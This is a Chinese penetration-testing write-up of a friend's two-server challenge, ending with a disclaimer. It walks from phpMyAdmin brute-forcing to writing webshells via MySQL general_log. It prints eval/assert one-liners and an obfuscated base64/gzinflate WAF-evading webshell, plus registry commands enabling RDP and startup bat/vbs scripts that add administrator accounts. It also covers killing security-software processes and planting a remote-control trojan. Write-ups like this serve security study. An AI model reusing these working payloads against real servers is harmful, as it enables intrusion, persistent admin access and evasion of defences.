getshell之后难忘的经历
本文为原创文章 转载请注明出处!
1前言
背景是这样的,大佬moza在两台服务器搭了一道题,说是组合getshell
问过Moza大佬,说投稿前要打码。
2整理思路
直接测试第二个,加了waf的那台服务器 打开链接,发现有部分源码泄露
根据源码提示,无报错,那是基于时间的延迟注入,那可以注出账号密码,一般和登陆后台结合
那先找后台,直接御剑扫目录,只发现/phpmyadmin/目录
并且还把我ip给ban了,幸亏我是校园网,无数次断开外网重连。
到这里,基本确定就是延时注入拿到phpmyadmin的账号密码,然后进行phpmyadmin的后台getshell
3测试开始
后台查询语句:$sql="select* from userinfo where id =$uid";这里id不需要绕过,直接上测试语句
1 andif(0=1,1,sleep(6))
居然直接返回,正确应该是等待6秒的。我怀疑是过滤了空格和and,用+,/**/,%230E等代替空格,大小写,双写,中间插空字符,一样不行。去问moza大佬,说你再想想。好吧,百度一波,没找到啥有用的,哪位大佬知道的望指教
4爆破
嗯,回到起点,这时我点开phpmyadmin后台页面,突然有个小想法
没有验证码的,那我可以直接爆破出账号密码,据我了解moza大佬有点懒,应该会是弱口令。我拿出我收藏的字典,利用burpsuite的爆破模块进行爆破,字典有点大,我是以clusterbomb方式,又没设置多线程,所以会很慢。先让它跑先。到了下午,还没跑出来,1万多条只跑了6000多。关掉吧,应该是字典问题,把字典一些常见的弱口令复制出来,再结合一些关键词rootmoza,进行组合字典。然后抓包继续爆破
每爆破一百多条,ip就被ban掉,苦逼的重新整理字典重新爆破,最后终于有点结果。尝试这几组特殊结果,root xxxx成功,登陆成功
5phpmyadmin 后台getshell
接下来就是phpmyadmin后台getshell,一个老套路加新姿势,先找绝对路径,报错,google,访问phpmyadmin特定文件,找phpinfo无法爆出路径。在变量可知道mysql的绝对路径,那网站根目录会是www或WWW
后来想到在generaload file利用日志文件可以验证,路径正确,成功修改日志文件的路径,错误会报错ps:这里的generalload file 后面的新姿势会用到
老套路:直接从表导出数据:(我一开始执行写入不了,后来改先执行前两句,再进入创建的表执行下一句)
CREATETABLE `mysql`.`study` (`mozhe` TEXT NOT NULL );
INSERTINTO `mysql`.`study` (`mozhe` )VALUES ('<?php@eval_r($_POST[“mozhe”])?>');
SELECT7on FROM study INTO OUTFILE 'C:/web/WWW/mozhe.php';
尝试老套路,直接失败,意料之中,因为之前moza说开了waf和禁用了一些函数的
showglobal variables like '%secure%';
果然securefile priv值为null,不能进行导出导入数据。新姿势,针对intooutfile 被禁用,无法导出导入文件。当然也可以先设置general_log变量为on和general_log_file为我们已知的路径,最后执行最后的语句
SETglobal general_log='on';
SETglobalgeneral_log_file='D:/webshell/WWW/shell.php';#如果没有shell.php会自动创建
SELECT'<?php assert($_POST["cmd"]);?>';
利用新姿势,成功在mysql的日志文件中写入一句话并成功解析php文件,webshell路径为日志文件shell.php
在我开开心心连菜刀时,我懵了。。。
直接被拦截了,看来是waf和防火墙,菜刀被狗吃了,连一次ban一次ip
6漫漫getshell路
之后想到,第一、免杀过狗菜刀、xise配合免杀一句话试试:上传免杀一句话
.<?php
/*
PHP一句话木马
assert($string)
*/
$arr= array('a','s','s','e','r','t');
$func= '';
for($i=0;$i<count($arr);$i++){
$func.= $func . $arr[$i];
}
$func($_REQUEST['c']);
?>
下载免杀过狗菜刀、xise一大丢附带软件,坑爹,去ichunqiu52pojie pansousou 基本资源都过期了。
找到一个,尝试与免杀一句话,连接,还是狗厉害点。第二,利用一句话原理,本地上次一个大马,或者直接列目录读文件,百度、百度
https://wenku.baidu.com/view/97278d2a7375a417866f8f1d.html
一句话基本原理都有讲,没找到想要的,留到以后学学,尝试就上传大马,利用phpmyadmin新姿势,上传普通大马,写进日志文件shell.php,无法正常解析,怀疑是与之前写入的一句话有影响,重新新建个shell1.php日志文件,失败
可能是大马过大,写入的数据有大小限制
下载个精小php大马
http://webshell8.com/
内存大小2k,上传还是失败。静下来想想,我本地可以搭一个环境,本地试验下写入的日志文件嘛,说干就干,phpstudy走起,进入我的phpmyadmin管理页面,本地我写入刚下载的大马,完整的上传进去了,不过连接失败
反复测试,删除一些多余东西。后来有所发现,原因是多了后面的一些日志信息导致无法正常解析大马,那就注释掉
利用/*注释
构造
SELECT'<?php
$password='admin';//登录密码
//本次更新:体积优化、压缩优化、命令优化、反弹优化、文件管理优化、挂马清马优化等大量功能细节优化。
//功能特色:PHP高版本低版本都能执行,文件短小精悍,方便上传,功能强大,提权无痕迹,无视waf,过安全狗、云锁、360、阿里云、护卫神等主流waf。同时支持菜刀、xise连接。
$html='$password'.'='."'".$password."';".'@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l('.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e(b'.'as'.''.''.''."".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'.'('."'lVZhb5tIEP0eKf9hg6ICEufgXBy1sSI1TTHJKcY5jJsmbYTwspitMUt3SWiT+r/fLLZjjN3UxxfE7sybN29nZtndIZwz7nOSMZ7TdKSZent3RxAhKEt9kQc81+QKjZC2R4Ugubbv961+/7LnfFGyOAsyqtzrOnre3UHw7GN0ilS1Pf96EIQHI5LmcrXLnmiSBAdHDRNpmE2yIKfDhLRRt39poeOG2UY3NA1ZIZDjoVbjUF/i8AQQhoEgx0d+SDALibb6pdwO4n7Xdqzh33fdrvnP460Z2uFhx3M+f6DDT9mhd5G5odn66Ny04k/N8bvz0empouuVCA4p6jGUq6cP10M7iYOmexl8dv7t2XHRtTtjbI9a2O4UgTfg+Ntdcns4Lm69uBXcZPndU/JIbKfo3Tg8nMSTq0JGmgeSQkYPKc6lvuQHFbnQ1EgwPGYZSdWlkiWrhKZjSDwLuCA+UNQkzwVUafH9gfCfYFKaflFB01i9rxrETEj1Rc5zlrCCcG1uKjfU+xWwKAPLFzJa6Wugt6aB9qFOUjZ7A5SBmmbVU2YF3ivkS0T2IIMrtuWhg+cZ2Sm68Lzrg2bD/Mq/pkp7g0cDXC4g9gl6LjlMX7UcQJH9dSar7AT9/xp7FfqcpSkpz+oEnSdMEGm9ySMqOM2J1MAovfU6Ik1jEoSEgxrN+h5maQ7shVSqDlzENCHQexFhUSnxmsaLQiHy7EYE6qlkcWS+O66zeDmqJZtTZG5EXCXWmBUY2YA3/VOIN2+QNucH+YF06NcvVFmQauq/51ARzvxz+NpnhOWhlbqtiS6bZpFgZXOOMF226x4UfMZAVmws5oQus1prYwybPk1prr6yT34QXG9zHAOZF2+tyrVchbHLMpi8ODbQ+cC96l17PrxmdLay9i67Vm/gQd+2trJ3LW/gOp575vQ7lmsgzx1Y29HqW+6ZbTmeUZn+K0MGL3KVSkjnNdz5oS13tjgMEM6H4tfUIIEpJ2elH22aqDmZZLLR3kfQV2vjtIwAFvlPbWap6xvK5j2dZIm8HlTVmCOugVRoKiFJPlJ+loYdiKlshpR0ZAL+oiRXuFUE2JT/HjRSFCSC1MpqNvfl7Z4EeJYt2AMjBZzxyqmsX+rgPHqiaZQEef2yBd8Ks+ns92CLvwPyGCQbLQBs+h8=')));";$css=base64_decode("Q3JlYXRlX0Z1bmN0aW9u");$style=$css('',preg_replace("/#html/","",$html));$style();/*));.'<linkrel="stylesheet"href="$#css"/>';*//*';
上面的是大马源码,执行时会报错,但写进mysql日志文件shell.php了
访问大马,执行成功
可以看到大马成功解析,虽然也报了不少错误,但不影响核心功能。进去重新上传个大马damaxiao.php
终于getshell了,同理也把39.xx.xx.x9这台服务器也getshell成功
7添加用户
权限很高,直接是system权限直接利用大马添加用户
39.xx.xx.xx9
不过3389端口没开,小白就喜欢直接利用大佬们的exp直接开启端口,开启3389的SQL语句:syue.com/xiaohua.asp?id=100;execmaster.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\TerminalServer’,’fDenyTSConnections’,’REG_DWORD’,0;–
开3389端口的命令:
REG ADDHKLM\SYSTEM\CurrentControlSet\Control\Terminal”“Server/vfDenyTSConnections /t REG_DWORD /d 0 /f
很大可能不成功,预料之中,但有一个不常见的12345端口,可能是远程连接服务端口
本地没装nmap,利用webrobot扫下,看能不能识别,12345端口对应啥服务
没啥提示,突然模糊记得他说过这台服务器3389端口不行,换了个端口。尝试12345
39.xx.xx.xx9拿下
另一台,12x.xx.xx.x2权限也很高,开了3389。不过有d盾和阿里云防护,变态监控无法添加用户,结束阿里云,d盾进程taskkill/im 进程名/f
还是添加失败
百度一下systeminfo
KB952004、KB956572、KB970483这三个补丁,分别对应,第一个是pr提权,第二个是巴西烤肉提权,第三个是iis6.0提权
都打了补丁,利用api的wscript组件添加,找到它本地的cmd路径,无法执行cmd命令
Shell.users组件也一样添加失败
看了许多大佬的渗透笔记
https://blog.csdn.net/u013278898/article/details/39024035
https://blog.csdn.net/Fly_hps/article/details/80568660
很多骚思路
ftp添加用户
注册表添加用户
上传cmd执行net1,net2添加用户
爆用户密码,上传“PwDump7,破解当前管理密码(hash值)”,俩执行PwDump7.exe,之后到网站去解密。小白对大佬们膜拜,这些思路的以后一个一个去复现下
8开机自启动脚本添加用户
在这里看到一个可以写开机自启vbsbat执行脚本进行添加用户,猛地觉得有希望。首先找到开机启动的绝对路径,当前系统为WINNT32,百度其启动路径,一番查找后,终于发先它与win8.1的路径一样,开机启动路径:
C:/ProgramData/Microsoft/Windows/StartMenu/Programs/Startup
执行脚本如下:
*.bat
@echooff
netuser mozhe1 123321 /add
netlocalgroup administartors mozhe1 /add
*.vbs
setwshshell=createobject("wscript.shell")
wshshell.run"net user mozhe2 123321 /add",0
wshshell.run"net localgroup administrators mozhe2 /add",0
上传脚本
然后就重启服务器shutdown /r,没想到服务器是重启了,可是他的php,apache,sql等环境没重启,才记得是phpstudy,只能叫moza大佬重启下,期待的Netuser 没有添加成功,不明白,继续费脑力中,后来莫名想起一个工具,大灰狼远控,我想能不能生成远控木马,放到开机自启动目录
本地监听中
上传生成的远控马
重启服务器shutdown /r,没反应,这就尴尬了,可能被狗杀了,想想有没有过狗的,但暂时找不到资源
9峰回路转添加成功
就在我决定放弃了,睡觉了的时候,手贱迷茫的乱打netuser mozhe131 fbb.54asfd /add
卧槽!!!居然成功了,我不敢相信的默默地添加管理组
Good!!突然想起一句话,蓦然回首,那人却在灯火阑珊处。后来知道是设置了密码策略,gg,我记得信息安全这门课学过的,对不起老师啊。那之前的添加开机自启动的脚本思路应该是对的,修改下密码,测试一番,继续重启动服务器shutdown/r 重启开机后Net user ,终于。。。
不过.bat添加的只是标准用户,.vbs添加的是管理员,应该是.bat脚本的最后一句话没有执行成功,留到下次测试下。
远程登陆
终于完成,不是太完美,但心满意足了,睡觉去了,要猝死的。。。熬夜。大马用户搞完也就删了。
文章仅用于普及网络安全知识,提高小伙伴的安全意识的同时介绍常见漏洞的特征等,若读者因此做出危害网络安全的行为后果自负,与合天智汇以及原作者无关,特此声明。